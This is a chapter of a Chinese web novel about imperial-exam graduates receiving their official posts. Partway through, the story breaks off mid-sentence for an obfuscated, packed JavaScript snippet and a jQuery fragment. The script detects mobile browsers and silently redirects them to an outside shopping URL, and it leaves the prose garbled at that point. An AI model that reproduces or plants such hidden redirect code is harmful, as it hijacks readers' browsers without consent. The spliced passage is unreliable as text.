202.第 202 章
作品:《科举之寒门弟子六元及第》 第二百零二章青云初授
琼林宴后第三日,吏部的任命文书陆续送到了竹石居。
第一个接到消息的倒是赵铁柱——那天清早他照例去巷口买炊饼,回来时手里除了炊饼,还捏着一封盖着兵部大印的文书,整个人都是懵的。
“少、少爷……”他冲进院子,话都说不利索,“兵部……兵部让我去京营报到!”
林湛正在院里晨读,闻言接过文书一看。上面白纸黑字写着:着赵铁柱入京营神机营历练,授“效力把总”衔,从九品。
效力把总是个虚衔,没有实权,但确实是正经的武职。更重要的是,神机营是京营精锐,专司火器,能进去历练,是多少武将子弟求之不得的机会。
“这……这是怎么……”赵铁柱还是不敢相信。他一个农家出身的书童,识几个字都是跟林湛学的,怎么突然就成了武官?
林湛略一思索就明白了:“怕是陈兄使了力。”
正说着,陈致远从厢房出来,看了文书,点头道:“是我请京营的旧友帮忙。铁柱有把子力气,人也机灵,在神机营学些本事,日后总有用处。”
“可……可我啥也不懂啊!”铁柱急得挠头。
“谁生来就懂?”陈致远难得露出点笑意,“去了好好学。我在兵部,会照应你。”
赵铁柱捧着那纸文书,眼圈忽然红了,扑通跪下就给陈致远磕头。陈致远忙扶起他:“别这样。你这些年护持林兄有功,这是你应得的。”
这边还没说完,院门被叩响了。
来的是吏部一位主事,带着两名书吏。主事很客气,见了林湛先拱手:“林修撰,下官奉部堂之命,送来您和几位同年的任命文书。”
“有劳大人。”林湛还礼。
主事从书吏捧着的匣子里取出一卷黄绫,展开宣读:“奉天承运皇帝,敕曰:新科一甲第一名进士林湛,才学优长,器识宏远,特授翰林院修撰,从六品。钦此。”
这是意料之中的任命。翰林院修撰虽是清要之职,但前途光明——本朝惯例,非翰林不入内阁。从六品的起步也不算低,许多进士外放知县不过正七品。
主事又取出一卷:“一甲第二名孙文清,授翰林院编修,正七品。一甲第三名陈允和,授翰林院检讨,从七品。”
宣读完,主事将文书交给林湛,又笑道:“林修撰如今是翰林官了。按例,三日后需到翰林院报到。您这几日可先准备着,翰林院那边会派人来接洽。”
送走吏部主事,林湛拿着三份任命文书回到正厅。青云诸友都已聚齐,个个眼巴巴地看着他。
“林兄,”沈千机最急,“快说说!都怎么安排的?”
林湛展开文书,一一念来。除了三鼎甲的任命,他还念了其他几位熟识进士的官职:大多外放知县,也有几个授了各部主事。
念完一圈,沈千机眨眨眼:“那……咱们呢?周兄、王兄、李兄他们?”
话音刚落,院门又被叩响。
这次来的是个年轻的书吏,手里捧着一摞文书。他显然没刚才那位主事从容,进门就道:“哪位是周文渊周老爷?王砚之王老爷?李慕白李老爷?”
三人上前。书吏翻着文书,抽出一份:“周文渊,授户部浙江清吏司主事,正六品。”
周文渊接过文书,推了推眼镜,仔细看了两遍,忽然道:“浙江清吏司……主管漕运、盐课、关税。这个职位的数据分析需求会很大。”
众人都笑了。这人,第一反应居然是工作内容。
书吏又抽出两份:“王砚之,授礼部仪制清吏司主事,正六品。李慕白,授翰林院庶吉士。”
王砚之松了口气——仪制清吏司管科举、学校、礼仪,正是他擅长的领域。李慕白则喜上眉梢:庶吉士虽无品级,却是翰林院的储备人才,三年后考核优秀可直接留任翰林,前途无量。
最后一份:“陈致远,授兵部职方清吏司主事,正六品。”
职方清吏司主管武职袭替、边关防务、舆图绘制,与陈致远的经历契合。
文书分发完毕,书吏告辞。院子里一时安静下来,每个人都拿着自己的任命文书,神色复杂。
沈千机左看看右看看,忽然“哎呀”一声:“合着就我没着落啊!”
周文渊推眼镜:“沈兄不是科举出身,自然没有官职任命。但你若有心,可以捐个官……”
“我才不捐!”沈千机摆手,“我还是做我的买卖自在。再说了,”他咧嘴一笑,“你们都在衙门里当官,总得有个在外面跑腿办事的吧?我就当咱们的‘外联总管’!”
这话把大家都逗笑了。确实,青云诸友如今散入各部,沈千机这个商人身份,反倒能在许多场合行方便。
王砚之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301944|196937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仔细看着自己的任命文书,忽然道:“你们发现没有?咱们几个的职位,都与各自所长契合。林兄擅实务,入翰林修撰;周兄精数据,入户部;我熟典籍仪制,入礼部;李兄通晓礼仪,为庶吉士;陈兄有行伍经历,入兵部。这安排……太过巧合。”
众人闻言,都是一怔。
林湛沉吟道:“皇上既然详细问过我们的情况,又派李东阳老先生来细细考察,想必对这些早有考量。”
“这是好事。”李慕白道,“说明皇上不仅看重林兄,也看重我们这个……团体。”
“团体”这个词用在这里有些新鲜,但确实贴切。
正说着,赵师傅从厨房出来,手里端着个托盘,上面是几碗刚煮好的汤圆。老头儿眼睛红红的,显然是高兴得抹过泪。
“来,都吃点汤圆,团团圆圆,甜甜蜜蜜!”赵师傅挨个分发,“铁柱要去军营了,少爷和各位公子都要去衙门当官了……咱们竹石居,真是出息了!”
汤圆是芝麻馅的,咬一口,甜香满口。众人吃着汤圆,看着手里的任命文书,心里都涌起一股难以言说的滋味。
几年寒窗,一路同行。从淳州到京城,从童生到进士,如今终于各得其所,即将踏上各自的仕途。
沈千机吃完汤圆,忽然一拍桌子:“今晚必须庆祝!我请客,咱们去‘醉仙楼’!不,去更好的地方!”
“且慢。”林湛摆手,“咱们的任命虽下来了,但三日后才报到。这两日,还有事要办。”
“什么事?”
“谢恩。”林湛道,“皇上恩典,座师提携,都要一一拜谢。还有……”他看向众人,“咱们既然要各赴其职,也该好好商量商量,日后如何相互照应,如何……不忘初心。”
这话说得认真。众人都放下碗,神色郑重起来。
是啊,官职是有了,但真正的考验,才刚刚开始。
院外传来货郎的叫卖声,清脆悠长。阳光透过竹叶洒下来,在青石板上投下斑驳的光影。
竹石居的这群年轻人,即将走出这个小院,走进那座庞大而复杂的官僚体系。而他们手中那份薄薄的任命文书,就是入场券,也是责任书。
陈致远忽然起身,走到院中那丛青竹前,伸手摸了摸竹竿,低声道:“竹有节,人有志。咱们此去,当时时自省。”
竹叶沙沙,像是在回应。

